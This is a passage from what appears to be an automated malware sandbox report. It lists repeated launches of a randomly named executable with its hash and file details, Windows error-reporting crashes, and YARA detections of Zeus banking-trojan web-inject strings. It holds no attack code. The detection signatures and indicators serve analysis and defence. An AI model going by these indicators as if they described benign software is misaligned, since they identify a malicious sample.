                                                                                                                                                                                                                    Reputation:low
                                                                                                                                                                                                                    Has exited:false

                                                                                                                                                                                                                    General

                                                                                                                                                                                                                    Target ID:5
                                                                                                                                                                                                                    Start time:12:48:52
                                                                                                                                                                                                                    Start date:11/11/2024
                                                                                                                                                                                                                    Path:C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe
                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                    Commandline:"C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe"
                                                                                                                                                                                                                    Imagebase:0x390000
                                                                                                                                                                                                                    File size:140'800 bytes
                                                                                                                                                                                                                    MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                    Yara matches:
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000005.00000002.2313341369.0000000000C10000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000005.00000002.2315791681.00000000026F0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    Reputation:high
                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                    General

                                                                                                                                                                                                                    Target ID:6
                                                                                                                                                                                                                    Start time:12:48:53
                                                                                                                                                                                                                    Start date:11/11/2024
                                                                                                                                                                                                                    Path:C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe
                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                    Commandline:"C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe"
                                                                                                                                                                                                                    Imagebase:0x390000
                                                                                                                                                                                                                    File size:140'800 bytes
                                                                                                                                                                                                                    MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                    Yara matches:
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000006.00000002.2287019898.0000000000AB0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000006.00000002.2287686891.0000000000B10000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    Reputation:high
                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                    General

                                                                                                                                                                                                                    Target ID:9
                                                                                                                                                                                                                    Start time:12:48:53
                                                                                                                                                                                                                    Start date:11/11/2024
                                                                                                                                                                                                                    Path:C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe
                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                    Commandline:"C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe"
                                                                                                                                                                                                                    Imagebase:0x390000
                                                                                                                                                                                                                    File size:140'800 bytes
                                                                                                                                                                                                                    MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                    Yara matches:
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000009.00000002.2305463692.00000000026A0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000009.00000002.2304128212.00000000023F0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    Reputation:high
                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                    General

                                                                                                                                                                                                                    Target ID:10
                                                                                                                                                                                                                    Start time:12:48:53
                                                                                                                                                                                                                    Start date:11/11/2024
                                                                                                                                                                                                                    Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                    Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 6644 -s 744
                                                                                                                                                                                                                    Imagebase:0x930000
                                                                                                                                                                                                                    File size:483'680 bytes
                                                                                                                                                                                                                    MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                    Reputation:high
                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                    General

                                                                                                                                                                                                                    Target ID:12
                                                                                                                                                                                                                    Start time:12:48:53
                                                                                                                                                                                                                    Start date:11/11/2024
                                                                                                                                                                                                                    Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                    Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 6400 -s 968
                                                                                                                                                                                                                    Imagebase:0x930000
                                                                                                                                                                                                                    File size:483'680 bytes
                                                                                                                                                                                                                    MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                    Reputation:high
                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                    General

                                                                                                                                                                                                                    Target ID:13
                                                                                                                                                                                                                    Start time:12:48:54
                                                                                                                                                                                                                    Start date:11/11/2024
                                                                                                                                                                                                                    Path:C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe
                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                    Commandline:"C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe"
                                                                                                                                                                                                                    Imagebase:0x390000
                                                                                                                                                                                                                    File size:140'800 bytes
                                                                                                                                                                                                                    MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                    Yara matches:
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000000D.00000002.2302334442.00000000022C0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000000D.00000002.2302184126.0000000002260000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    Reputation:high
                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                    General

                                                                                                                                                                                                                    Target ID:15
                                                                                                                                                                                                                    Start time:12:48:55
                                                                                                                                                                                                                    Start date:11/11/2024
                                                                                                                                                                                                                    Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                    Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 7160 -s 744
                                                                                                                                                                                                                    Imagebase:0x930000
                                                                                                                                                                                                                    File size:483'680 bytes
                                                                                                                                                                                                                    MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                    Reputation:high
                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                    General

                                                                                                                                                                                                                    Target ID:16
                                                                                                                                                                                                                    Start time:12:48:56
                                                                                                                                                                                                                    Start date:11/11/2024
                                                                                                                                                                                                                    Path:C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe
                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                    Commandline:"C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe"
                                                                                                                                                                                                                    Imagebase:0x390000
                                                                                                                                                                                                                    File size:140'800 bytes
                                                                                                                                                                                                                    MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                    Yara matches:
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000010.00000002.2093912488.00000000010A0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000010.00000002.2093710792.0000000001040000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    Reputation:high
                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                    General

                                                                                                                                                                                                                    Target ID:18
                                                                                                                                                                                                                    Start time:12:48:57
                                                                                                                                                                                                                    Start date:11/11/2024
                                                                                                                                                                                                                    Path:C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                    Commandline:C:\Windows\SysWOW64\WerFault.exe -u -p 7104 -s 832
                                                                                                                                                                                                                    Imagebase:0x930000
                                                                                                                                                                                                                    File size:483'680 bytes
                                                                                                                                                                                                                    MD5 hash:C31336C1EFC2CCB44B4326EA793040F2
                                                                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                    Reputation:high
                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                    General

                                                                                                                                                                                                                    Target ID:19
                                                                                                                                                                                                                    Start time:12:48:58
                                                                                                                                                                                                                    Start date:11/11/2024
                                                                                                                                                                                                                    Path:C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe
                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                    Commandline:"C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe"
                                                                                                                                                                                                                    Imagebase:0x390000
                                                                                                                                                                                                                    File size:140'800 bytes
                                                                                                                                                                                                                    MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                    Yara matches:
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000013.00000002.2105602842.00000000026D0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000013.00000002.2105209456.0000000002570000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    Reputation:high
                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                    General

                                                                                                                                                                                                                    Target ID:21
                                                                                                                                                                                                                    Start time:12:48:59
                                                                                                                                                                                                                    Start date:11/11/2024
                                                                                                                                                                                                                    Path:C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe
                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                    Commandline:"C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe"
                                                                                                                                                                                                                    Imagebase:0x390000
                                                                                                                                                                                                                    File size:140'800 bytes
                                                                                                                                                                                                                    MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                    Yara matches:
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000015.00000002.2114738599.0000000000DE0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000015.00000002.2115293020.0000000000E80000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                    General

                                                                                                                                                                                                                    Target ID:23
                                                                                                                                                                                                                    Start time:12:48:59
                                                                                                                                                                                                                    Start date:11/11/2024
                                                                                                                                                                                                                    Path:C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe
                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                    Commandline:"C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe"
                                                                                                                                                                                                                    Imagebase:0x390000
                                                                                                                                                                                                                    File size:140'800 bytes
                                                                                                                                                                                                                    MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                    Yara matches:
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000017.00000002.2118494374.00000000011A0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000017.00000002.2118722454.0000000001200000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                    General

                                                                                                                                                                                                                    Target ID:25
                                                                                                                                                                                                                    Start time:12:49:01
                                                                                                                                                                                                                    Start date:11/11/2024
                                                                                                                                                                                                                    Path:C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe
                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                    Commandline:"C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe"
                                                                                                                                                                                                                    Imagebase:0x390000
                                                                                                                                                                                                                    File size:140'800 bytes
                                                                                                                                                                                                                    MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                    Yara matches:
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000019.00000002.2132519796.00000000028C0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000019.00000002.2131001825.00000000024E0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                    General

                                                                                                                                                                                                                    Target ID:27
                                                                                                                                                                                                                    Start time:12:49:01
                                                                                                                                                                                                                    Start date:11/11/2024
                                                                                                                                                                                                                    Path:C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe
                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                    Commandline:"C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe"
                                                                                                                                                                                                                    Imagebase:0x390000
                                                                                                                                                                                                                    File size:140'800 bytes
                                                                                                                                                                                                                    MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                    Yara matches:
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000001B.00000002.2139365340.0000000001470000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000001B.00000002.2139139931.0000000001410000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                    General

                                                                                                                                                                                                                    Target ID:29
                                                                                                                                                                                                                    Start time:12:49:03
                                                                                                                                                                                                                    Start date:11/11/2024
                                                                                                                                                                                                                    Path:C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe
                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                    Commandline:"C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe"
                                                                                                                                                                                                                    Imagebase:0x390000
                                                                                                                                                                                                                    File size:140'800 bytes
                                                                                                                                                                                                                    MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                    Yara matches:
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000001D.00000002.2151912439.0000000003160000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000001D.00000002.2151087320.0000000002FC0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                    General

                                                                                                                                                                                                                    Target ID:31
                                                                                                                                                                                                                    Start time:12:49:04
                                                                                                                                                                                                                    Start date:11/11/2024
                                                                                                                                                                                                                    Path:C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe
                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                    Commandline:"C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe"
                                                                                                                                                                                                                    Imagebase:0x390000
                                                                                                                                                                                                                    File size:140'800 bytes
                                                                                                                                                                                                                    MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                    Yara matches:
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000001F.00000002.2163047688.0000000002830000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 0000001F.00000002.2163537694.0000000002990000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                    General

                                                                                                                                                                                                                    Target ID:33
                                                                                                                                                                                                                    Start time:12:49:05
                                                                                                                                                                                                                    Start date:11/11/2024
                                                                                                                                                                                                                    Path:C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe
                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                    Commandline:"C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe"
                                                                                                                                                                                                                    Imagebase:0x390000
                                                                                                                                                                                                                    File size:140'800 bytes
                                                                                                                                                                                                                    MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                    Yara matches:
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000021.00000002.2175595009.00000000022D0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000021.00000002.2179119548.00000000026B0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                    General

                                                                                                                                                                                                                    Target ID:35
                                                                                                                                                                                                                    Start time:12:49:06
                                                                                                                                                                                                                    Start date:11/11/2024
                                                                                                                                                                                                                    Path:C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe
                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                    Commandline:"C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe"
                                                                                                                                                                                                                    Imagebase:0x390000
                                                                                                                                                                                                                    File size:140'800 bytes
                                                                                                                                                                                                                    MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                    Yara matches:
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000023.00000002.2179835076.0000000002870000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000023.00000002.2179197336.00000000026D0000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                    General

                                                                                                                                                                                                                    Target ID:37
                                                                                                                                                                                                                    Start time:12:49:07
                                                                                                                                                                                                                    Start date:11/11/2024
                                                                                                                                                                                                                    Path:C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe
                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                    Commandline:"C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe"
                                                                                                                                                                                                                    Imagebase:0x390000
                                                                                                                                                                                                                    File size:140'800 bytes
                                                                                                                                                                                                                    MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                    Yara matches:
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000025.00000002.2230467830.0000000003230000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    • Rule: Windows_Trojan_Zeus_e51c60d7, Description: Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., Source: 00000025.00000002.2197019654.0000000003080000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                    General

                                                                                                                                                                                                                    Target ID:39
                                                                                                                                                                                                                    Start time:12:49:08
                                                                                                                                                                                                                    Start date:11/11/2024
                                                                                                                                                                                                                    Path:C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe
                                                                                                                                                                                                                    Wow64 process (32bit):true
                                                                                                                                                                                                                    Commandline:"C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe"
                                                                                                                                                                                                                    Imagebase:0x390000
                                                                                                                                                                                                                    File size:140'800 bytes
                                                                                                                                                                                                                    MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                                    Has elevated privileges:false
                                                                                                                                                                                                                    Has administrator privileges:false
                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                    Yara matches:
